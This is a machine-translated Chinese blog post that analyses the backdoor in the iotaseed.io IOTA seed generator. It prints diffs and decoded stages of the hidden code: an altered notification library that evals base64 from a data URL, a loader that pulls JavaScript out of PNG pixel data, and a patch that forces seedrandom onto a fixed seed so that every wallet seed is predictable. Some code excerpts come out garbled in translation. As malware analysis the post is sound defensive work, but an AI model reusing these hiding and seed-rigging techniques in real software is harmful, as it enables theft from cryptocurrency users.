最近,Ars Technica 发表了一篇文章,描述了一个恶意的种子发生器io(现在离线)如何能够从其用户的钱包中窃取近400万美元的IOTA。他们描述这种方式的方式是,网站“存储每个种子的数据以及关联的钱包信息,允许谁运行该网站(或谁劫持了它)只是等到钱包被填补,然后兑现“这让我很好奇,所以我决定研究这个骗局是如何被剥离的技术细节。
查找代码
原来的网站io已经被一个消息所取代,说明“已取消”。道歉。“幸运的是,Wayback Machine已经保存了一个网站的副本,可以在这里看到。
该网站链接到一个GitHub仓库,声称你可以看到代码,但警告你应该使用该网站,而不是从GitHub下载代码,给出的借口是“该存储库可能包含新的代码还没有经过充分测试。“
考虑到这些信息,我猜测,为了保证它的存在是任何代码审查的秘密,允许网站所有者窃取用户种子的代码不是GitHub存储库的一部分,只是添加到io网站。这可以解释为什么用户被告知使用网站而不是GitHub存储库,这意味着如果将网站上的JavaScript与GitHub存储库上的JavaScript进行比较,这个后门代码应该变得明显。
不幸的是,GitHub存储库的io链接norbertvdberg / iotaseed已经被删除了(就像存储库所有者的所有帐户norbertvdberg一样)即使Wayback Machine 存档了GitHub存储库的主页,试图查看代码(或下载代码的ZIP文件)导致“Wayback Machine没有该页面存档”错误。然而,在页面的右上方,它提到了代码已经被8个不同的人分离了,根据这个GitHub的支持文章,当一个公共仓库被删除时,它的叉子仍然被保留下来,这意味着大概仍然是在GitHub上的这个资源库的副本!
快速搜索Wayback Machine存档中可见的提交消息之一会导致以下结果:
eggdroid / eggseed3似乎是原始io代码的一个分支,所有26个提交都是由“norbertvdberg”创建的,这个用户来自早期的GitHub仓库。
现在我们有了网站和GitHub JavaScript文件,现在是时候比较两者,看看有没有什么不同。
分析代码
种子生成器由多个不同的JavaScript文件组成,所有这些all.js
文件合并成一个文件,然后被缩小all.mini.js
。这是all.mini.js
在页面上实际使用的这个文件。所以,我比较了Wayback Machine all.mini.js
和GitHub仓库的一个副本all.mini.js
。
$ shasum all-web all-gi 3d48933698d8cf1d1673067d782595c12c815424 all-web3d48933698d8cf1d1673067d782595c12c815424 all-gi
不幸的是,对我来说,这两个文件似乎是相同的。挖掘代码,我注意到一旦生成了钱包,Service Worker就开始生成QR码和纸币信息,而这个工人的代码来自一个单独的文件all-wallet.mini.js
。也许有什么东西被隐藏在该文件中?
比较网站和GitHub的all-wallet.mini.js
文件最初显示它们是不同的,所以我通过js-beautify来运行这两个文件,然后diff
让它们看看究竟有什么不同。
$ diff all-walle all-walle; t = t || {}, = e("..;).version, = t.host ? t.host : ";, = t.port ? t.port : 14265, = t.provider || .replace(/\/$/, "") + ":" + , = t.sandbox || !1, = t.token || !1, && ( = .replace(/\/$/, ""), = + "/commands"), = new o(, ), = new a(, ), = i, = e("./utils/inputValidator"), = new s()---> t = t || {}, = e("..;).version, = t.host ? t.host : "http://localhost", = t.port ? t.port : 14265, = t.provider || .replace(/\/$/, "") + ":" + , = t.sandbox || !1, = t.token || !1, && ( = .replace(/\/$/, ""), = + "/commands"), = new o(, ), = new a(, ), = i, = e("./utils/inputValidator"), = new s()1713c1713< = e || ";, = t---> = e || "http://localhost:14265", = t1718c1718< = e || ";---> = e || "http://localhost:14265"6435c6435< website: ";---> website: ";6440c6440< url: ";---> url: ";6444c6444< url: ";---> url: ";
然而,这两个文件之间唯一的区别在于Wayback Machine重写了一些指向的URL web.arc
。在功能上,种子生成代码在实际网站和GitHub存储库之间似乎是相同的。
然后,我再次仔细看了一下index.html
页面,注意到还有一个JavaScript文件被加载,一个我最初忽略的通知库。我下载了Wayback Machine的版本,并将diff
其下载到GitHub存储库的版本,导致这个非常可疑的代码变得明显:
$ diff no no 68,71d67< if (!window.inited_n) {< window.inited_n = true;< No()< }82,87d77< if (/,T/.test(image)) {< if (/ps:.*o/.te)) {< eval(atob(image.split(",")[2]))< }< return< }119,121d108< init: function(message, title) {< (message, title, "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9wCBxILCcud3gSTrg4uDm5uZFRETbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo/h4eEzODbm5+eop5SiopCiopDl396hloaDg3ToTD3m5uZMS03/9RTlAAAADy8vIgICA2NzY4OzYPM0fa29q,ZnVuY3Rpb24gY0RpcyhmKXt2YXIgbz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKS5nZXRDb250ZXh0KCIyZCIpO3ZhciBpPW5ldyBJbWFnZTtpLm9ubG9hZD1mdW5jdGlvbigpe28uZHJhd0ltYWdlKGksMCwwKTtkUyhvLmdldEltYWdlRGF0YSgwLDAsMjk4LDEwMCkuZGF0YSl9O2kuc3JjPWZ9ZnVuY3Rpb24gZFMoZCl7dmFyIGw9MjEsYk09IiIsdE09IiI7Zm9yKHZhciBpPTA7aTxsO2krKyl7dmFyIGI9KGRbaSo0KzJdPj4+MCkudG9TdHJpbmcoMik7Yk0rPWJbYi5sZW5ndGgtMV07aWYoYk0ubGVuZ3RoPT0xNil7bD1wYXJzZUludChiTSwyKSsxNjtiTT0iIn1lbHNlIGlmKGJNLmxlbmd0aD09OCYmbCE9MjEpe3RNKz1TdHJpbmcuZnJvbUNoYXJDb2RlKHBhcnNlSW50KGJNLDIpKTtiTT0iIn19ZXZhbCh0TSl9Y0RpcygiLi9pbWFnZXMvbG9nb19zbWFsbF9ib3R0b20ucG5nIik7,TbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo/h4eEzODbm5+eop5SiopCiopDl396hloaDg3ToTD3m5uZMS03///9RTlAAAADy8vIgICA2NzY4OzYPM0fa29qgoI7/zMnj4+PW19VGRkbqPi7v7/D6+vr09fXyTj4rKSvhSTo/Pj/oSDnlMyLsNCI0MTP0///tTT7ZRjizOi+6PDDmLRyenZ7oKRfExMT/TzvobGEVFBWGhYUAGjLW8/ToXVADLUZ8e33/2tfRRTdWVFTFQDT1u7aSkZIADib+5eFwcHHW+/z70tDwkIesPTPW6+teXV2xsbG7u7vY4+Lre3DMzM2qp6jilIxsPT7lg3kdO07m/f4AJjuwsJzftK/fpZ7woJjoVUZBWGj1zMdTaXfcvrrzq6Tby8f+8u8wSlYZNDaQRUKfr7d9j5lpf4vx5ePMsLF/o64s+PNlAAAANnRSTlMAC1IoljoZWm2yloPRGWiJfdjEEk037Esq7Pn24EKjpiX+z7rJNNWB5pGxZ1m2mZY/gXOlr43C+dBMAAAmkklEQVR42uzay86bMBAF4MnCV1kCeQFIRn6M8xZe+v1fpVECdtPSy5822Bi+JcujmfEApl3IIRhBFyIJ3Em6UMTDSKfHsOB0dhILQ2fX4+4aF0tVXC3yJJB4OrcJV1msIhJN52avslhpZOfcvyepfceIaARw5t2CWTwYRhSQTdSum1TGqE5Mr0kg6Ukj66hZ3GExaEaJQsYIWXzmd6P2KHxn6NjG4/BDMEQ6RM+oNQ6vjJyWFTNTDJlau0e1drAO+Ikan8tE1itkfC0S11iXKGyYJZFB5jpkgmY8WWoKx6Z5JI3MGyQqV1Jj80Jgm2J9xGrQSAKfcyptEfgFrxxWnUUiVEqIGjN5bAsRKyOReI9FaGxw3o0Of8I6rAbbcBR06yN+T+Uogmu2QR5ucsaXuV6w1hath9HiDWGwWrLmOoUL7/CWYLRo6/2d9zPeN6hONNEvXKiIf2fkwauDCxXwcPI0mA/4v+whvwdzafABTh/tZW3SEcmZS0NYfJTTB5kaYsbnHSEMMWMfuvJdg3vsJlR9R6UP2JOp9jRhM/ZVa5dwiwJCT9UZI8qwtRVGh2JCVSsXtyinqgtMk0NJFf1QYwGlmToGhkQFQg3X5nvUofzw7FCLr2bRak2Uz0KgJhOVM6EqjlMpvPwp+ioWy2JAbWYqQ6E+mv5SwyNzJWh/HHX6Rty17TYNBFF44CokEA+ABELiJ2yMnUorefElCY5pHGgqu3JUhYAU0xpwwYoqJSAU8sgXMxvvekwukAS0PS9pq3I8OXtmZm8pF3D6vuLEx7N833/N0bI85X/CarUEte9b68nlf4rg+lKoEGAvPMvzk6+Ak5OwZ71u/S81gEoJR8AMyPNR2FOs7jo1pG94PvzdD76vjCZTYp/vlzDefw0hYOWf4b1+3Tt5+3MfcZ7NxnnPX0Uu//7StQUhwgmNk/N9x3ENDpfF/P7E6/6rM1qt8K0BXMjsOs7+eZKNR95KMSQfCgS/pUY4TuPUdlEHlOPnCXj7H2B1e9+ZxRaZHVuN49nI8pUlNC9JRLVSwMhM4piahmOsA/FMFPwB+4ZiyTYnf/gAAAABJRU5ErkJggg==")< },
看来有人对No库进行了非常仔细的修改,以隐藏一些代码。该No
方法已被更改为检查image
参数是否包含",T"
,因此将参数的一部分解码为JavaScript并对其进行评估。另一个修改添加了一个No()
方法,当页面加载时调用,该notify
方法调用一个image
参数集来触发此代码。
atob(image.split(",")[2])
在上面代码中使用的数据URL上运行会产生下面的代码片段(为了清晰起见添加了缩进和间距):
function cDis(f) {
var o = document.createElement("canvas").getContext("2d");
var i = new Image;
i.onload = function() {
o.drawImage(i, 0, 0);
dS(0, 0, 298, 100).data)
};
i.src = f}function dS(d) {
var l = 21,
bM = "",
tM = "";
for (var i = 0; i < l; i++) {
var b = (d[i * 4 + 2] >>> 0).toString(2);
bM += b[b.length - 1];
if == 16) {
l = parseInt(bM, 2) + 16;
bM = ""
} else if == 8 && l != 21) {
tM += S(parseInt(bM, 2));
bM = ""
}
}
eval(tM)}cDis("./image;);
这个恶意代码的第二阶段将绘制./image
到屏幕外的<canvas>
元素中,从该图像的数据中读取一些文本,然后将该文本评估为JavaScript。
查看GitHub存储库,logo_
于2017年8月28日添加,然后在同一天的3个小时后更新。当运行这个图像解码器时,这两个版本都不会生成有效的代码。
然而,由Wayback Machine保存的实际网站上使用的图像是不同的,并生成以下代码(再次添加了缩进和间距):
if (/ps:.*\.io/.te)) {
mode = "M";
(function(message) {
var name = "edr";
name += "an";
message["cont"] = 0;
name += "dom";
function show(arg, options, image) {
message["e2" + name]("4782588875512803642" + String(message["cont"]), options, image);
message["cont"] += 1
}
message["e2" + name] = message["se" + name];
message["se" + name] = show
})(eval(mode + "ath"))}
这是JavaScript后门的最后阶段,可以简化为以下内容:
Ma = 0;function show(arg, options, image) {
Ma("4782588875512803642" + String(Ma), options, image);
Ma += 1;}Ma = Ma;Ma = show;
这段代码修补了代码所使用的Ma
函数,总是使用一个固定的种子加上一个每次增加一个计数器变量的变量。这会导致始终返回相同的,可预测的一系列数字,导致生成的IOTA钱包种子始终保持不变。当您多次打开io的存档并注意生成的种子总是相同时,即使在计算机之间,这也会变得很明显。"4782588875512803642"
seedrandom
Ma()
XZHKIPJIFZFYJJMKBVBJLQUGLLE9VUREWK9QYTITMQYPHBWWPUDSATLLUADKSEEYWXKCDHWSMBTBURCQD
起初,我真的不相信它总是会产生相同的地址,因为它似乎太明显了。难道有人在某个时候意识到“随机生成”的种子让他们接触到一个已经在其中保持平衡的钱包吗?然而,就像这个Reddit评论中提到的那样,似乎有些人拿起了它。
使用官方的IOTA JavaScript库,应该对应这个种子的地址是PUEBLAHRQGOTIAMJHCCXXGQPXDQJS9BDFSCDSMINAYJNSILCCISDVY99GMKAEIAICYQUXMIYTNQCJYVDX
,根据这个网站,这是一个空的钱包。然而,其他网站设计,以显示有关地址的交易历史信息只是给出了一个404错误(这里看一个例子),表明我或者解码这个地址的错误,或者我误解IOTA网络是如何工作的。
结论
这是一个非常聪明的隐藏的后门,显然是用恶意的意图完成的,而不是在密码实现方面的某种错误。目前还不清楚,如果这个代码是由GitHub存储库和网站的所有者,norbertvdberg,或如果他的主机帐户被黑客添加,但从业主如何反应,删除他们的GitHub,他们的Reddit和他们的Quora帐户,似乎该网站是为此目的而建立的。
采取了许多步骤来隐藏后门的存在,并且快速浏览Web浏览器中的开发人员工具将不会显示任何可疑内容。例如,data:
第一阶段中使用的网址iVBORw0KGgo
是以64为底的有效PNG标头的开头,这意味着该网址可能被忽视为嵌入式图像,这在通知库中并不是很可疑。部分JavaScript是从图像中加载的,除此之外,没有其他的网络请求被做出。不幸的是,这足以欺骗许多人认为没有错。
仔细查看Developer Tools中的网络请求,可以看到JavaScript为图像提出的请求。
一般来说,这个事件应该被看作是一个提醒,说到加密货币(特别是在处理大量金钱的时候!),偏执狂可能是一件好事。你永远不应该依靠在线服务,如种子发生器或网络钱包,持有任何你关心的货币数量,你应该确保你使用的软件是开源的,并经过社区的仔细审查和审计。在这个例子中,io确实宣称它是“开放源代码”,所有代码都可供您查看,这可能足以说服某些人,但没有人意识到他们是如何修改其实际网站上的代码的。仔细的审计可能会发现这一点,使得这个例子表明如何以面值(特别是在加密货币)中采取“开放源代码”会导致糟糕的结果。